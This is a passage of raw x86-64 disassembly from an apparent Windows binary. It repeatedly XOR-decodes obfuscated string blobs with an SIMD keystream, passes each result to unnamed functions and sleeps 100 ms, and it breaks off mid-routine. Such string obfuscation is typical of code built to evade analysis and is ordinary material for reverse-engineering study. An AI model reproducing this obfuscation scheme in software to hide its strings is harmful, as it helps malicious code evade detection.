movups xmm0, xmmword [0x1400bd290]
movups xmmword [rbp + 0xa2f0], xmm0
movups xmm1, xmmword [0x1400bd2a0]
movups xmmword [rbp + 0xa300], xmm1
movups xmm0, xmmword [0x1400bd2b0]
movups xmmword [rbp + 0xa310], xmm0
movsd xmm0, qword [0x1400bd2c0]
movsd qword [rbp + 0xa320], xmm0
movzx eax, word [0x1400bd2c8]
mov word [rbp + 0xa328], ax
mov r8d, ebx
cmp edi, 2
jl 0x1400214e5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xa2b4]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400213e0
cmp r8d, 0x7a
jge 0x140021530
movsxd rax, r8d
lea r9, [rbp + 0xa2b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7a
jl 0x140021500
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x3d8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xa2b0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140021550
lea rdx, [rbp + 0xa2b0]
lea rcx, [rbp + 0x3d8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x3d8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x3d8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c16c0]
movups xmmword [rbp + 0xbad0], xmm0
movups xmm1, xmmword [0x1400c16d0]
movups xmmword [rbp + 0xbae0], xmm1
movups xmm0, xmmword [0x1400c16e0]
movups xmmword [rbp + 0xbaf0], xmm0
movups xmm1, xmmword [0x1400c16f0]
movups xmmword [rbp + 0xbb00], xmm1
movups xmm0, xmmword [0x1400c1700]
movups xmmword [rbp + 0xbb10], xmm0
movups xmm1, xmmword [0x1400c1710]
movups xmmword [rbp + 0xbb20], xmm1
movups xmm0, xmmword [0x1400c1720]
movups xmmword [rbp + 0xbb30], xmm0
movups xmm1, xmmword [0x1400c1730]
movups xmmword [rbp + 0xbb40], xmm1
movzx eax, byte [0x1400c1740]
mov byte [rbp + 0xbb50], al
mov r8d, ebx
cmp edi, 2
jl 0x14002175b
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xbad4]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140021650
cmp r8d, 0x81
jge 0x1400217a3
movsxd rax, r8d
lea r9, [rbp + 0xbad0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140021770
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x3f8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xbad0]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400217c0
lea rdx, [rbp + 0xbad0]
lea rcx, [rbp + 0x3f8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x3f8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x3f8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bf320]
movups xmmword [rbp + 0xbb60], xmm0
movups xmm1, xmmword [0x1400bf330]
movups xmmword [rbp + 0xbb70], xmm1
movups xmm0, xmmword [0x1400bf340]
movups xmmword [rbp + 0xbb80], xmm0
movups xmm1, xmmword [0x1400bf350]
movups xmmword [rbp + 0xbb90], xmm1
movups xmm0, xmmword [0x1400bf360]
movups xmmword [rbp + 0xbba0], xmm0
movups xmm1, xmmword [0x1400bf370]
movups xmmword [rbp + 0xbbb0], xmm1
movups xmm0, xmmword [0x1400bf380]
movups xmmword [rbp + 0xbbc0], xmm0
movups xmm1, xmmword [0x1400bf390]
movups xmmword [rbp + 0xbbd0], xmm1
movzx eax, byte [0x1400bf3a0]
mov byte [rbp + 0xbbe0], al
mov r8d, ebx
cmp edi, 2
jl 0x1400219cb
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xbb64]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x1400218c0
cmp r8d, 0x81
jge 0x140021a13
movsxd rax, r8d
lea r9, [rbp + 0xbb60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x1400219e0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x418]
call fcn.140004bf0
nop
lea rax, [rbp + 0xbb60]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140021a30
lea rdx, [rbp + 0xbb60]
lea rcx, [rbp + 0x418]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x418]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x418]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c1330]
movups xmmword [rbp + 0xd8a0], xmm0
movups xmm1, xmmword [0x1400c1340]
movups xmmword [rbp + 0xd8b0], xmm1
movups xmm0, xmmword [0x1400c1350]
movups xmmword [rbp + 0xd8c0], xmm0
movups xmm1, xmmword [0x1400c1360]
movups xmmword [rbp + 0xd8d0], xmm1
movups xmm0, xmmword [0x1400c1370]
movups xmmword [rbp + 0xd8e0], xmm0
movups xmm1, xmmword [0x1400c1380]
movups xmmword [rbp + 0xd8f0], xmm1
movups xmm0, xmmword [0x1400c1390]
movups xmmword [rbp + 0xd900], xmm0
movups xmm1, xmmword [0x1400c13a0]
movups xmmword [rbp + 0xd910], xmm1
movsd xmm0, qword [0x1400c13b0]
movsd qword [rbp + 0xd920], xmm0
mov eax, dword [0x1400c13b8]
mov dword [rbp + 0xd928], eax
movzx eax, word [0x1400c13bc]
mov word [rbp + 0xd92c], ax
movzx eax, byte [0x1400c13be]
mov byte [rbp + 0xd92e], al
mov r8d, ebx
cmp edi, 2
jl 0x140021c6b
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xd8a4]
mov edx, dword [rbp + 0xb0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140021b60
cmp r8d, 0x8f
jge 0x140021cb3
movsxd rax, r8d
lea r9, [rbp + 0xd8a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8f
jl 0x140021c80
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x438]
call fcn.140004bf0
nop
lea rax, [rbp + 0xd8a0]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140021cd0
lea rdx, [rbp + 0xd8a0]
lea rcx, [rbp + 0x438]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x438]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x438]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bf530]
movups xmmword [rbp + 0x9930], xmm0
movups xmm1, xmmword [0x1400bf540]
movups xmmword [rbp + 0x9940], xmm1
movups xmm0, xmmword [0x1400bf550]
movups xmmword [rbp + 0x9950], xmm0
movups xmm1, xmmword [0x1400bf560]
movups xmmword [rbp + 0x9960], xmm1
movups xmm0, xmmword [0x1400bf570]
movups xmmword [rbp + 0x9970], xmm0
movups xmm1, xmmword [0x1400bf580]
movups xmmword [rbp + 0x9980], xmm1
movups xmm0, xmmword [0x1400bf590]
movups xmmword [rbp + 0x9990], xmm0
mov eax, dword [0x1400bf5a0]
mov dword [rbp + 0x99a0], eax
movzx eax, word [0x1400bf5a4]
mov word [rbp + 0x99a4], ax
movzx eax, byte [0x1400bf5a6]
mov byte [rbp + 0x99a6], al
mov r8d, ebx
cmp edi, 2
jl 0x140021ee5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x9934]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x140021de0
cmp r8d, 0x77
jge 0x140021f30
movsxd rax, r8d
lea r9, [rbp + 0x9930]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x77
jl 0x140021f00
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x458]
call fcn.140004bf0
nop
lea rax, [rbp + 0x9930]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140021f50
lea rdx, [rbp + 0x9930]
lea rcx, [rbp + 0x458]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x458]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x458]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bcd30]
movups xmmword [rbp + 0x9bb0], xmm0
movups xmm1, xmmword [0x1400bcd40]
movups xmmword [rbp + 0x9bc0], xmm1
movups xmm0, xmmword [0x1400bcd50]
movups xmmword [rbp + 0x9bd0], xmm0
movups xmm1, xmmword [0x1400bcd60]
movups xmmword [rbp + 0x9be0], xmm1
movups xmm0, xmmword [0x1400bcd70]
movups xmmword [rbp + 0x9bf0], xmm0
movups xmm1, xmmword [0x1400bcd80]
movups xmmword [rbp + 0x9c00], xmm1
movups xmm0, xmmword [0x1400bcd90]
movups xmmword [rbp + 0x9c10], xmm0
movsd xmm0, qword [0x1400bcda0]
movsd qword [rbp + 0x9c20], xmm0
cmp edi, 2
jl 0x14002214f
movdqa xmm5, xmmword [0x1400c3460]
mov edx, ebx
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x9bb4]
mov r8d, dword [rbp + 0xb0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x78
jl 0x140022050
jmp 0x140022190
lea r9, [rbp + 0x9bb0]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x78
jl 0x140022160
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x478]
call fcn.140004bf0
nop
lea rax, [rbp + 0x9bb0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400221b0
lea rdx, [rbp + 0x9bb0]
lea rcx, [rbp + 0x478]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x478]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x478]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c23f0]
movups xmmword [rbp + 0xa030], xmm0
movups xmm1, xmmword [0x1400c2400]
movups xmmword [rbp + 0xa040], xmm1
movups xmm0, xmmword [0x1400c2410]
movups xmmword [rbp + 0xa050], xmm0
movups xmm1, xmmword [0x1400c2420]
movups xmmword [rbp + 0xa060], xmm1
movups xmm0, xmmword [0x1400c2430]
movups xmmword [rbp + 0xa070], xmm0
movups xmm1, xmmword [0x1400c2440]
movups xmmword [rbp + 0xa080], xmm1
movups xmm0, xmmword [0x1400c2450]
movups xmmword [rbp + 0xa090], xmm0
movsd xmm0, qword [0x1400c2460]
movsd qword [rbp + 0xa0a0], xmm0
movzx eax, byte [0x1400c2468]
mov byte [rbp + 0xa0a8], al
mov r8d, ebx
cmp edi, 2
jl 0x1400223b7
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xa034]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400222b2
cmp r8d, 0x79
jge 0x140022400
movsxd rax, r8d
lea r9, [rbp + 0xa030]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x79
jl 0x1400223d0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x498]
call fcn.140004bf0
nop
lea rax, [rbp + 0xa030]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022420
lea rdx, [rbp + 0xa030]
lea rcx, [rbp + 0x498]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x498]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x498]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400beb30]
movups xmmword [rbp + 0xc460], xmm0
movups xmm1, xmmword [0x1400beb40]
movups xmmword [rbp + 0xc470], xmm1
movups xmm0, xmmword [0x1400beb50]
movups xmmword [rbp + 0xc480], xmm0
movups xmm1, xmmword [0x1400beb60]
movups xmmword [rbp + 0xc490], xmm1
movups xmm0, xmmword [0x1400beb70]
movups xmmword [rbp + 0xc4a0], xmm0
movups xmm1, xmmword [0x1400beb80]
movups xmmword [rbp + 0xc4b0], xmm1
movups xmm0, xmmword [0x1400beb90]
movups xmmword [rbp + 0xc4c0], xmm0
movups xmm1, xmmword [0x1400beba0]
movups xmmword [rbp + 0xc4d0], xmm1
mov eax, dword [0x1400bebb0]
mov dword [rbp + 0xc4e0], eax
movzx eax, byte [0x1400bebb4]
mov byte [rbp + 0xc4e4], al
mov r8d, ebx
cmp edi, 2
jl 0x14002263b
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xc464]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140022530
cmp r8d, 0x85
jge 0x140022683
movsxd rax, r8d
lea r9, [rbp + 0xc460]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
